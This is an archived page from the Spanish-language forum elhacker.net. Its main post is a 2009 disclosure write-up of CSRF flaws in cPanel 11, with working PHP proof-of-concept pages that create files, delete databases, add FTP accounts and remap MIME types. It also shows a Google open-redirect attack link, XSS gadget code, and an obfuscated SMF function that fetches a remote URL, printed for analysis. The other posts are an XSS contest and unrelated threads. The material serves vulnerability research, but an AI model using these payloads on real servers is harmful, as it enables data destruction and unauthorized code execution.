elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: 1 ... 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 [32] 33 34 35 36 37 38 39 40 41 42
311  Seguridad Informática / Nivel Web / Hackea a Elhacker.net ! [Finalizado - Ganador: yasión] en: 23 Noviembre 2009, 09:06 am
Bueno, me pude conseguir 8 puntos para warzone con sirdarckcat para regalarselos al primero que llegue acá posteando un XSS pero ojo, no es cualquier XSS....

Actualmente hay un XSS en el foro y es ejecutable para visitantes o sea que no necesito ser admin ni moderador ni nada para ver este XSS. Este XSS es permanente (ver el diccionario que está con chincheta) y por lo tanto pueden escribir el xss a vista de todo público.

El primero que encuentre este XSS en el foro se llevará los 8 puntos para WarZone (http://warzone.lehacker.net/ )

Esta prueba se excluyen todos los usuarios que tengan privilegios mayores a un usuarioo normal, o sea que no participan los colaboradores ni moderadores ni nada de nada, solo usuarios común y corrientes como tu que estás leyendo.
Tampoco pueden participar los que tengan acceso a leer el tracker de simpleaudit.

El primero que postee el XSS se lleva los 8 puntos!!!! y debe explicar porque es un xss y porque se produce o por lo menos explicar como se explota. La idea es que no pueda venir alguien haciendo copy paste de algún otro lado.

Si alguien hace trampas será sancionado con aceite hirviendo y se les hecharán a los perros que elbrujo tiene guardado para casos como este.

SOLO EL PRIMERO!!!!! y no hay pistasss muahahahha xD
El dia 30 de este mes se enviará el tracker de vulnerabilidades de smf a full disclosure asi que no podrá pasar de esa fecha.

312  Seguridad Informática / Nivel Web / Especial Navidad 2009 en: 20 Noviembre 2009, 23:27 pm
Especial Navidad 2009
Bugs y Exploits a nivel WEB


Indice
  • Auditoría de seguridad a cPanel 11
  • vulnerabilidad universal en exploradores WEB
  • Vulnerabilidad - OpenRedirect en Google utilizado para ocultar urls de atacantes
  • Vulnerabilidad - XSS en GModules afecta a GoogleWave, OpenSocial (hi5, linkedin, myspace), Google HomePage, sites.google.com, wiki.elhacker.net, labs.elhacker.net, groups.google.com, y cualquier sitio web que utilize los servicios de google en el cual incorporen GModules.



Descripción:
cPanel (acrónimo de control Panel) es una herramienta de administración WEB administrar sitios de manera fácil. Actualmente es un sistema de pago y de código cerrado vulnerable a que cualquiera pueda encontrar bugs sin si quiera poder revisar su código fuente para que puedan ser reparadas oportunamente.
cPanel es uno de los sistemas mas utilizados en servidores de pago compartidos y resellers.
http://cpanel.demo.cpanel.net/login/?user=x3demob&pass=x3demob

Al ver que era un sistema tan utilizado pero a la ves tan descuidado en su seguridad me propuse comenzar esta auditoría de seguridad hacia cPanel 11 llamada "BugPanel 11".

[Round 1] Creación arbitraria de subdominios
Si vamos a nuestro cpanel e intentamos crear un nuevo subdominio podemos ver dos detalles.
El primer detalle es que podemos transformar nuestras peticiones POST en GET asi que basta pasar las variables via GET para crear nuestro subdominio.

Vamos a nuestro cPanel a la sección:
http://ejemplo.com:2082/frontend/x3/subdomain/index.html

Ahora si creamos un subdominiop nos enviará hacia una página para verificar que realmente se creará el subdominio y al hacer click en aceptar veremos que se ha creado nuestro subdominio pero entre que le das aceptar y crear el dominio aparece un enlace como este:
http://ejemplo.com:2082/frontend/x3/subdomain/doadddomain.html?domain=subdominio&rootdomain=ejemplo.com&dir=public_html%2Fsubdominio&go=Create

Con este enlace ya podemos darnos cuenta del segundo detalle el cual es que no lleva token ni verificación de referencia (aunque no serviría tampoco) ni nada que pueda evitar un ataque del tipo CSRF.

Por lo tanto un atacante puede facilmente crear un enlace, imagen o lo que sea lo cual el administrador de ese panel pueda ser redireccionado hacia dicha vulnerabilidad y crear de forma arbitraria subdominios y directorios tal como este script de ejemplo:
Código
  1. <?php
  2. /* Host vulnerable */
  3. $dominio_vulnerable = 'ejemplo.com';
  4. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  5. $directorio_nuevo = 'cpwned';
  6. $subdominio_nuevo = 'cpwned';
  7. if($_SERVER['HTTP_REFERER']){
  8.  
  9.  'location: '.
  10.  $cpanel_vulnerable.
  11.  'frontend/x3/subdomain/doadddomain.html?domain='.
  12.  urlencode($subdominio_nuevo).
  13.  '&rootdomain='.
  14.  urlencode($dominio_vulnerable).
  15.  '&dir=public_html%2F'.
  16.  urlencode($directorio_nuevo).
  17.  '&go=Create'
  18. );
  19. }else{
  20. echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
  21. }
  22.  
  23. ?>

[Round 2] Creación arbitraria de archivos y código de ejecución arbitrario via PHP
Si vamos al administrador de archivos del cpanel encontraremos un hermoso filemanager en el cual nos permire observar todos los archivos del servidor, editar su contenido, borrarlos  o cambiarles sus permisos.
Cuando va mos a la edición de un archivo y lo guardamos podremos darnos cuenta de que no envía token ni nada por lo tanto nuevamente nos damos cuenta que el filemanager contiene CSRF en modo POST.

Con estos datos ya podemos crear nuestra prueba de concepto:
Código
  1. <?php
  2.  
  3. /* Datos del host vulnerable */
  4. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  5. $archivo = 'cpwned.php';
  6. $directorio = '/home/ejemplo/public_html/';
  7. $payload = '<'.'?php phpinfo(); ?>';
  8.  
  9. ?>
  10. <html>
  11. <body>
  12.  Muestra de ejemplo.
  13.  <form method="post" action="<?php echo $cpanel_vulnerable; ?>frontend/x3/filemanager/savefile.html">
  14.   <input type="hidden" name="doubledecode" value="1" />
  15.   <input type="hidden" name="ufile" value="<?php echo $archivo; ?>" />
  16.   <input type="hidden" name="file" value="<?php echo $archivo; ?>" />
  17.   <input type="hidden" name="udir" value="<?php echo urldecode($directorio); ?>" />
  18.   <input type="hidden" name="dir" value="<?php echo urlencode($directorio); ?>" />
  19.   <input type="hidden" name="__cpanel__temp__charset__" value="us-ascii" />
  20.   <input type="hidden" name="path" value="<?php echo urldecode($directorio).$archivo; ?>" />
  21.   <input type="hidden" name="charset" value="us-ascii" />
  22.   <input type="hidden" name="page" value="<?php echo urlencode($payload); ?>" />
  23.  </form>
  24.  <script>
  25.   document.getElementsByTagName('form')[0].submit();
  26.  </script>
  27. </body>
  28. </html>

[Round 3] Eliminación arbitraria de bases de datos completas
Cuando vamos al gestor de bases de datos de MySQL:
http://www.ejemplo.com:2082/frontend/x3/sql/index.html

Podemos observar que al intentar eliminar una base de datos nos envía hacia una página que nos pregunta si realmente queremos eliminar nuestra base de datos, la sorpresa llega cuando vemos que el botón de aceptar nos lleva a un enlace sin protección ni token ni nada:
http://www.ejemplo.com:2082/frontend/x3/sql/deldb.html?db=ejemplo_basededatos

Llevandonos a la eliminación inminetne e irrecuperable de nuestra base de datos a menos que tengamos alguna backup por ahi.

Con esto ya podemos crear una prueba de cocepto donde un administrador puede ser redirigido desde alguna imagen, página, o lo que sea ejecutando esta acción de forma arbitraria:

Código
  1. <?php
  2. /* Host vulnerable */
  3. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  4. $base_de_datos = 'empresa_productos';
  5.  
  6. if($_SERVER['HTTP_REFERER']){
  7.  'location: '.
  8.  $cpanel_vulnerable.
  9.  'frontend/x3/sql/deldb.html?db='.
  10.  urlencode($base_de_datos)
  11. );
  12. }else{
  13. echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
  14. }
  15.  
  16. ?>

[Round 4] Creación arbitraria de cuentas FTP sin restricciones
Si vamos al gestor de cuentas FTP e intentamos crear una nueva cuenta sin restricciones podemos ver que pasa lo siguiente desde nuestro cliente de navegación hasta el servidor:
Código:
POST /frontend/x3/ftp/doaddftp.html HTTP/1.1

Host: www.ejemplo.com:2082
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.ejemplo.com:2082/frontend/x3/ftp/accounts_pure-ftpd.html
Cookie: cookies
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F&quota=unlimited

Por lo tanto ya es evidente que no hay token y por lo tango podemos generar un CSRF pero si tomamos nuestras variables POST y las convertimos a GET vemos que funciona igual:
http://www.ejemplo.com:2082/frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F&quota=unlimited

Asi que con estos datos ya estamos listos para hacer la prueba de concepto:

Código
  1. <?php
  2. /* Host vulnerable */
  3. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  4.  
  5. if($_SERVER['HTTP_REFERER']){
  6.  
  7.  'location: '.
  8.  $cpanel_vulnerable.
  9.  'frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&'.
  10.  'password2=cpwned&homedir=public_html%2F&quota=unlimited'.
  11.  urlencode($base_de_datos)
  12. );
  13. }else{
  14. echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
  15. }
  16.  
  17. /* Se creará una cuenta ftp con el usuario cpwned y password cpwned ilimitada */
  18.  
  19. ?>

[Round 5] Modificación arbitraria de Mimetypes de Apache Server
Maaaaammmboo!! huuuh!!!
Cuando vamos a modificar un tipo de contenido desde el gestor de mimetypes de cPanel:
http://www.ejemplo.com:2082/frontend/x3/mime/mime.html

Podemos ver que cuando agregamos un tipo de extensión no nos solicita ningún tipo de protección para evitar acciones arbitrarias y ni si quiera pasa via POST sino que lo hace via GET directamente.

Cuando creamos una nueva extensión vemos algo como esto:
http://www.ejemplo.com:2082/frontend/x3/mime/addmime.html?mimet=application%2Fandrew-inset&ext=lol&submit=Add

Por lo tanto basta con que el administrador del cpanel vea este enlace para agregarle mimetypes a su servidor.
Que tal un mimetype de tipo ocet/stream a php para descargarlos en ves de ejecutarlos? o archivos jpg y zips que se ejecutan con el handle de php?

Prueba de concepto:

Código
  1. <?php
  2. /* Host vulnerable */
  3. $cpanel_vulnerable = 'http://ejemplo.com:2082/';
  4. $mimetype = 'application/x-httpd-php';
  5. $extension = 'jpg';
  6.  
  7. if($_SERVER['HTTP_REFERER']){
  8.  
  9.  'location: '.
  10.  $cpanel_vulnerable.
  11.  'frontend/x3/mime/addmime.html?mimet='.
  12.  urlencode($mimetype).
  13.  '&ext='.
  14.  urlencode($extension).
  15.  '&submit=Add'
  16. );
  17. }else{
  18. echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
  19. }
  20.  
  21. /* Ahora los archivos .jpg son ejecutables de php :D */
  22.  
  23. ?>

[Round 6] Baneo arbitrario de visitantes al host
Cuando intentas ingresar a tu cpanel desde la pagina principal:
http://www.ejemplo.com:2082/

Y fallas mas de 10 veces te banea :o y lo gracioso es que no te banea de cPanel sino de todo el servidor por lo tanto no puedes ingresar ni a la página que está alojada ni al ssh ni a ninguna parte a menos que cambies de ip.

Acá hay dos problemas, el rpimero es que la autentificación también se hace via WWW-Authenticate de apache o sea envío de headers.
cPanel procesa ete tipo de login pero no verifica los 10 intentos asi que podemos enviar peticiones GET a una imagen o a alguna sección sin protección enviando contraseña tras contraseña hasta lograr ingresar.

El otro problema es que el sistema de baneo aparentemente solo sirve para banear a tus visitas xD ya que el login del formulario se envía mediante una petición POST al servidor pero si la transformas a GET puedes hacer logueos arbitrarios debido a que no hay token ni nada referencial que impida un ataque CSRF, asi que la url de login quedaría masomenos así:
http://ejemplo.com:2082/login/?user=d&pass=d

Basta que alguien vea 10 veces ese enlace para quedar fuera de combate, asi que esto mismo se puede aprovechar por ejemplo para ponertelo de firma redireccionando la url como si fuera una imagen y de esa forma baneas a todos los que vean tus post en un foro.

Prueba de concepto para código bbc:
Código:
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]
[img]http://ejemplo.com:2082/login/?user=x&pass=x[/img]

Si usas tinyurl te ahorras carácteres y puedes ir mostrando de a 5 en 5 para banear cada dos visualizaciones o cada dos post tuyos que vean.

Actualmente hay muchos foros con cpanel al descubierto :p


Y bueno... en resumidas palabras todo cPanel contiene CSRF por lo tanto se puede ejecutar cualquier tipo de acción arbitraria siempre y cuando pertenezca al software nativo de cPanel, no así con softwares de terceros como phpmyadmin.
Además gracias a que cPanel es un software de código errado nadie puede hacer parches o soluciones asi que por lo tanto no hay solución mas que sentarse a mirar a las aves volar mientras tanto que medio internet es vulnerable y no todos los hosting se van a querer actualizar a menos que den con bombo y platillos el anuncio oficial desde cpanel diciendo que es vulnerable.

Recordar que para que estos tipos de ataques puedan ejecutarse el administrador debe estar logueado y visualizar tu archivo que lo redireccionará.

¿Que sucede si la conexión va via ssl? ¿lo detendrá la verificación de certificado?
No porque gracias a cPanel las instalaciones por defecto siempre se hacen en dos puertos que son el 2082 y 2083 el cual uno es sin y con ssl respectivamente asi que no sirve de nada el certificado de seguridad si eres atacado de esta forma, pero.... si estoy logueado en mi cpanel con ssl no debería cambiar mi cookie?
La respuesta es no ya que cPanel no fuerza una cookie segura al explorador por lo tanto tu cookie de cpanel la llevas a todas partes del servidor independiente si estas en el cpanel con o sin ssl o en tu foro o en tu blog, web, portal o lo que sea y con tu cookie llevas también tu sesión lista para ser robada, capturada o sniffeada.

Y ustedes dirán "Oh My God!!" debido a que deben ya haberse dado cuenta de un bug por defecto en los exploradores que ya voy a comentar a continuación.



Vulnerabilidad universal en exploradores WEB

Para poder comprobar antes de explicar lo que sucede voy a ingresar a mi gestor de bases de datos phpmyadmin:
http://127.0.0.1/phpmyadmin/
Ahora voy a mi administrador de servidor WebAdmin
http://127.0.0.1/:10000
Ahora me voy al foro:
http://127.0.0.1/smf/
Al blog
http://127.0.0.1/wordpress/

Ahora ejecuto en mi consola:
Código
  1. yan@Lola:~/Escritorio$ sudo nc -vlp 99
  2. [sudo] password for yan:
  3. listening on [any] 99 ...

Me hago una petición GET
http://127.0.0.1:99/

Y me encuentro con la sorpresa:
Código:
connect to [127.0.0.1] from localhost [127.0.0.1] 44829
GET / HTTP/1.1
Host: 127.0.0.1:99
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=xxxx; SMFCookie891=xxxx; cprelogin=no; cpsession=closed;
testing=1; sid=000000; wp-settings-time-1=0000; wp-settings-1=xxxxxx;
wordpress_test_cookie=WP+Cookie+check

Si nos damos cuenta me ha enviado la cookie de todos los siostemas webs que he visitado sin importar el puerto en que estaban.
Normalmente si un sistema WEB está en un puerto determinado debería conservar su privacidad de cookie y no compartirla con todos los demás sistemas alojados en los demas puertos.
En mi caso me puse a escucha en el puerto 99 y pude recibir todas las cookies pero... ¿que tan peligroso puede ser?

¿Que sucede cuando ingresamos al cPanel y luego vamos a nuestro foro o blog?
Lo que pasa es que la cookie del cPanel se va con nosotros :p y si la web o foro es vulnerable y alguien te ataca con XSS puede robar la cookie de tu cPanel y robar tu dominio o tu hosting completo, hacer redirecciones o transferir cuentas.

Lo que estamos haciendo es violar la privacidad de contenido del sistema WEB debido a que ningún explorador manipula las cookies discriminando puertos sino que solamente discrimina dominios , subdominios y rutas al tratarse del mismo servidor pero no puertos.



Vulnerabilidades en servicios de Google

[Round 1] OpenRedirect
Primero que nada vamos a ir directamente a la prueba de concepto:
http://www.google.com/url?q=http:///foro.elhacker.net/

Gracias a esta novedosa feature de google un atacante puede utilizar urls de google como servidor de redirección para ocultar referencias, ocultar enlaces dañinos y un sin fin de cosas.

El problema de esta vulnerabilidad está en que si ingresas una url normal de esta forma:
http://www.google.com/url?q=http://foro.elhacker.net/
entonces google te la rechaza pero si le das tres slashses google no la detecta como enlace válido y te valida la redirección.



Vamos a realizar una simulación de ataque hacia nuestro cpanel desde una url de google.

El atacante envía un enlace como mensaje de correo de google diciendo lo siguiente:
http://www.google.com/url?a=necesitamos_de_su_colaboracion_para_entrar_en_nuestro_comite&codigo_mensaje=&q=%68%74%74%70%3a%2f%2f%2f%77%77%77%2e%61%74%61%63%61%64%6f%2e%63%6f%6d%3a%32%30%38%32%2f%66%72%6f%6e%74%65%6e%64%2f%78%33%2f%73%71%6c%2f%64%65%6c%64%62%2e%68%74%6d%6c%3f%64%62%3d%65%6a%65%6d%70%6c%6f%5f%62%61%73%65%64%65%64%61%74%6f%73

Y el desprevenido administrador al darle click va a terminar borrando su base de datos de su sitio web  :P

También puede ser utilizado por spammers debido a que las urls de google no son filtradas desde sistemas anti-spam y la url puede encodearse en urlencode

[Round 3] XSS en GModules afecta a GoogleWave
Hace tiempo habia visto que había la posibilidad de ejecutar código arbitrario en los módulos de gmodules de google pero hasta ese momento no había ningún servicio que pudiera comprometer una cuenta.
Al ingresar a GoogleWave pude ver que tienes la posibilidad de insertar módulos de gmodule dentro de waves y puedes enviarlos a amigos o contactos asi que probé enviar un módulo que pudiera ejecutar código arbitrario y resultó.

¿Como funciona?
http://www.google.com/ig
Esta es la web personalizada de google en el cual aparecen varios frames con funciones ya sean buscadores de wikipedia o relojes, calculadoras, etc. La gracia es que puedes crear tus propios módulos y agregarlos de forma arbitraria con un CSRF que tiene gmodules pero eso es otro tema xD.

Para crear nuestro propio módulo debemos hacerlo en formato XML de la siguiente forma:
Código
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <Module>
  3. <ModulePrefs
  4.  title="__MSG_poctitle__"
  5.  directory_title="__MSG_pocdirtitle__"
  6.  title_url="http://foro.elhacker.net/"
  7.  author="WHK"
  8.  author_affiliation="ElHacker.NET"
  9.  author_location="Chile, CL"
  10.  author_email="www.kernel32@gmail.com"
  11.  screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  12.  thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  13.  scrolling="false">
  14. </ModulePrefs>
  15.  
  16. <Content type="html" view="canvas"><![CDATA[
  17.  <script>
  18.   alert('Ejecucion de codigo');
  19.  </script>
  20. ]]></Content>
  21. </Module>

Con esto ya tenemos un módulo, ahora lo subo a un servidor propio (en mi caso utilizo un servidor local) y quedaría así:
http://miip/gadget.xml

Con esto ya tengo mi módulo listo, ahora entro a GoogleWave y hago un nuevo Wave:


Tal como se muestra en la imagen primero escribo lo que sea, luego lo selecciono y presiono los tres puntos que están al costado derecho y le doy en insertar módulo y le doy la url de mi gadget.

Ahora todo el que vea ese wave se le ejecutará mi código arbitrario pero como se encuentra dentro de un iframe no podemos tener acceso a la cookie pero si a algunos tokens y tienes la posibilidad de hacer redirecciones, mover la ventana y lo que se te ocurra.



Un ejemplo práctico es este módulo:
Código
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <Module>
  3. <ModulePrefs
  4.  title="__MSG_poctitle__"
  5.  directory_title="__MSG_pocdirtitle__"
  6.  title_url="http://foro.elhacker.net/"
  7.  author="WHK"
  8.  author_affiliation="ElHacker.NET"
  9.  author_location="Chile, CL"
  10.  author_email="www.kernel32@gmail.com"
  11.  screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  12.  thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  13.  scrolling="false">
  14. </ModulePrefs>
  15.  
  16. <Content type="html" view="canvas"><![CDATA[
  17.  <script>
  18.   top.location.href = 'http://foro.elhacker.net/';
  19.  </script>
  20. ]]></Content>
  21.  
  22. </Module>

Con esto un atacante podría redireccionar a una victima hacia un phishing o web fraudulenta y solicitar datos como el acceso de su cuenta.

También hay una referencia similar que acabo de ver xD que habla sobre este mismo tema sobre GModules:
http://ha.ckers.org/blog/20070817/xss-hole-in-google-apps-is-expected-behavior/

Y acá un poco de documentación al respecto de este tipo de ataques:
http://www.google.com/search?q=tactical+exploitation

Actualmente Google concuerda que esto es una feature o sea algo que debe estar así y así lo dicta también el standard de protección el cual permite este tipo de redireccionamientos.
También se puede aplicar este tipo de ataque a cualquier sitio WEB que utilize algún servicio de google que permita GModules o que por lo menos permita frames con código modificable por terceros en los cuales se permita código ejecutable por el cliente.

Los xss y el robo de cookies son un standard hoy en dia y están dentro del saco de las features de la internerd.
313  Foros Generales / Foro Libre / Temas de construcción y hogar en: 19 Noviembre 2009, 19:26 pm
Bueno, como estuve un tiempo trabajando de vendedor de materiales de construcción quería hacer este post para la gente que tuviera alguna duda al respecto.
Yo no conozco absolutamente todo pero si gran parte de la tienda donde trabajaba asi que talves le pueda servir de ayuda a mas de alguno.

Los campos que yo manejo son techumbre, tabiquería, fijaciones de todo tipo, maderas, recubrimientos, fosas septicas, electrónica, siding dvp, instalación de bloques de vidrios, casi toda la gama de sika, etc.
Vuelvo a repetir que yo no conozco todo pero si tengo bastante conocimiento ya que al final trabajé en eso casi dos años y tube a cargo dos secciones que fueron techumbre y fijaciones.

Si alguien tiene una casa y se le llueve oquiere hacer una repisa o necesita algo adecuado para afirmar algo o hacer una estructura de una casa o saber con que recubrir, si pasan mucho frio en el invierno y mucho calor en el verano, cualquier cosa o problema comentenlo acá y si puedo ayudarles lo haré con gusto.

PD: si alguien quiere aprender a manejar grua de orquilla tambien puedo hacerlo, tengo licencia y todo pero online solamente desde este post xD, no es tan dificil, yo he manejado cuatro tipos de gruas... yale, toyota de una y dos velocidades, todas a gas metano y una komatsu.
314  Media / Diseño Gráfico / Recopilación de Wallpappers mensuales en: 11 Noviembre 2009, 08:35 am
Wallpappers Mensuales
Diseñados por los usuarios de ElHacker.NET


Quiero dejar este post a modo de recopilatorio para todos los demás que vengan llegando a esta sección y no se den el trabajo de andar buscando en páginas atrasadas.
Hay que recordar que todos pueden participar!



315  Foros Generales / Foro Libre / Nuevo diseño de playeras para elhacker.net disponibles! en: 10 Noviembre 2009, 08:00 am
Bueno, como las originales eran bastante simples decidí hacer un diseño propio para ver si se mandan a imprimir en playeras.
El nuevo estio incluye todo lo que el h4x0r necesita: calaveras, rayos, neo decapitado con letras de marix bajando, fuego, el logo de elhacker.net lleno de sange y el infaltable "31337".

316  Seguridad Informática / Nivel Web / Tabla Ascii en múltiples formatos (online) en: 28 Octubre 2009, 22:34 pm
Esta es una tabla que hizo sirdarckcat en múltiples formatos y extensiones para que pueda ayudarlos en algún caso.

http://www.elhacker.net/ascii.php

Ejemplo:

Código:
0x0A 10
Oct: 012
Bin: 1010 x
Esc: \012 \x0a \u000A \n
Url: %0A %u000A %C0%8A
Html: &#10; &#xa;

Esta es la versión GIF


El sistema siempre estará disponible por si alguien lo necesita.
317  Seguridad Informática / Nivel Web / Backdoor nativo en SMF 2.0 en: 27 Octubre 2009, 08:03 am
Estabamos revisando el code de SMF 2.0 con sirdarckcat con el propósito de la auditoría hacia SMF:
http://foro.elhacker.net/nivel_web/auditoria_de_seguridad_hacia_simple_machines_forum_20-t271199.0.html

Y pude encontrar un código bien extraño en el archivo Sources/Who.php linea 660 en adelante, ahi se pueden ver una serie de lineas muy encodeadas y ocultas:

Código
  1. function Mascot()
  2. {
  3. global $sourcedir;
  4.  
  5. // Some important quotes.
  6. $O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
  7. 'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
  8. 'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily.  ~David Hasselhoff',
  9. 'Buy old masters. They fetch a better price than old mistresses.  ~William Maxwell Aitken',
  10. 'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded.  ~Laurie Anderson',
  11. 'I don\'t see the logic of rejecting data just because they seem incredible.  ~Fred Hoyle',
  12. 'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy.  ~Aristotle',
  13. );
  14.  
  15. mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
  16. $OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
  17.  
  18. $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
  19. require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
  20.  
  21. if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
  22. }

Esto es masomenos lo que puedes ver cuando reemplazas variables y ordenas un poco mas el código:

Código
  1. function Mascot()
  2. {
  3. global $sourcedir;
  4.  
  5. // Some important quotes.
  6. $O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
  7. 'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men.  ~Lord Acton',
